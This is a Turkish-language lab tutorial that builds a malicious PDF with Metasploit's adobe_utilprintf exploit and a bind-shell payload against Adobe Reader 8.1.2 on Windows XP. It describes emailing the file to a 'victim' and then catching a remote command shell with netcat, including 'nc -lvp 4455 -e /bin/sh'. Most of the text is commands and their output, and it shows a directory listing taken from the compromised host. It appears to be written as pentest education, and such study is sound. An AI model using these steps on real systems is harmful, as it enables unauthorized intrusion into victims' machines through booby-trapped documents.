Netcat ile Ters Bağlantıyı Yakalama

Gereksinimler:

Windows XP SP2 (Dandik)
Eski Kali (kali-linux-1.0.4-amd64.iso)
Adobe Reader v8.1.2

Bu yazıda Kali'den Windows XP sistemine zararlı bir pdf gönderilecektir ve kurban pdf'i açmaya çalıştığında Kali'den netcat tool'u ile gelen bağlantı yakalanacaktır. Böylece hedef sistemin komut satırı komut satırımıza gelecektir.

Öncelikle zararlı bir pdf oluşturalım.

```
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME zararliBelge.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/shell/bind_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.0.18          // Kali IP
msf exploit(adobe_utilprintf) > set LPORT 4455
msf exploit(adobe_utilprintf) > exploit

[*] Creating 'zararliBelge.pdf' file...
[+] zararliBelge.pdf stored at /root/.msf4/local/zararliBelge.pdf
```

PDF'in içine payload'u gömmüş bulunmaktayız. Bu oluşturduğumuz zararlı belgeyi kurbana eposta ile gönderdiğimizi varsayalım. Kurban belgeye çift tıkladığında makinamıza bir tcp bağlantısı sunacaktır. Dolayısıyla gelen bağlantıyı handle etmek için metasploit'teki multi/handler'ı ya da netcat'i de kullanabiliriz. Biz netcat'i tercih edelim.

Set up a Netcat Bind Shell (Linux)

Terminal 1:

```
> nc -lvp 4455 -e /bin/sh          // Makinamızı dinleme moduna geçiyoruz.
```

Terminal 2:

```
> nc -nv 192.168.0.22 4455       // Kurbanın IP'si ve portuna bağlanıyoruz.
```

-l : Gelen bağlantılar için dinleme moduna geçirir.
-v : Çıktıya bağlantıyla ilgili her bildirimlerin basılmasını sağlar (v : verbose).
-p : Port numarasını alır.
-n : IP-Domain çözümlenmesini önler.

Terminal 1'de kendi makinamızı dinleme moduna sokuyoruz. Ayrıca makinamızın port 4455'ine bir bağlantı gelirse /bin/sh kabuğunu çalıştır emrini vermiş oluyoruz. Terminal 2'de ise kurbanın makinasına ve ilgili portuna bağlanma talebinde bulunuyoruz. Böylece belirttiğimiz portlar arasında bir tcp bağlantısı kurulabilir duruma gelmiş bulunmaktayız. Bu komutlar sonrası terminallerin

ekranına aşağıdaki çıktılar yansır.

Output (Terminal 1):
listening on any [4455]

Output (Terminal 2):
(UNKNOWN) [192.168.0.22] 4455 (?) : **Connection refused**

Görüldüğü üzere birinci çıktı makinamızın port 4455'ine gelecek bağlantıları dinleme modunda olduğumuzu söylerken ikinci çıktı hedef makinaya bağlanamadığımızı söylemektedir. Hedef makinaya bağlanamadık, çünkü henüz zararlı pdf kurban tarafından çalıştırılmadığından karşı taraftan bir tcp bağlantısı gelmemiştir. Şimdi kurban kişinin Windows XP (Dandik)'de zararlı belgeyi çalıştırdığını varsayalım. Kurban kişi pdf'in açılışını beklerken biz de Terminal 2'de girdiğimiz kodlamayı tekrar girelim:

Terminal 2:
> nc -nv 192.168.0.22 4455 // Kurbanın IP'si ve portuna bağlanıyoruz.

Kurban pdf'i açma girişiminde bulunduğunda içine gömülü payload bir tcp bağlantısı başlatacaktır. Böylece terminal 2 deki bağlantı talebimiz karşılık bulacaktır ve Terminal 2 ekranımıza hedef sistemin komut satırı gelecektir.

Output (Terminal 2)
(UNKNOWN) [192.168.0.18] 4455 (?) open
Microsoft Windows XP [Sürüm 5.1.2600]
© Telif Hakkı 1986-2001 Microsoft Corp.

C:\Documents and Settings\pentest\Desktop>

Örneğin terminal 2 ekranına dir komutunu girersek aşağıdaki gibi hedef sistemin dizinleri ekranımıza basılacaktır.

Terminal 2:
C:\Documents and Settings\pentest\Desktop> dir

```
24.05.2016  14:53            37.888  Not Köşem
04.11.2016  21:30             6.332  msf.pdf
04.11.2016  21:44    <DIR>           backdoor.exe
24.05.2016  14:48            37.888  vnc.exe
09.11.2016  13:30             6.328  zararliBelge.pdf

               5 Dosya        192.208 bayt
               3 Dizin  4.084.453.376 bayt
```

Özet

Listen to local TCP Port
nc -lvp <port>

Connect to a remote TCP Port
nc -nv <IP Address> <Port>

Bu iki kodlama ile tcp bağlantısı kuruluyor.

NOT: nc'nin -e parametresi güvenlik riski doğurduğu için yeni versiyonlarda kalkmış vaziyettedir.
-e parametresinin yaptığı komut çalıştırma işi artık karşılıklı anlaşma sonrası farklı bir met
hodla yapılmaktadır. man sayfasında detaylarını görebilirsin.

Kaynak

https://netsec.ws/?p=292 // nc ile alakalı birçok uygulama var (!)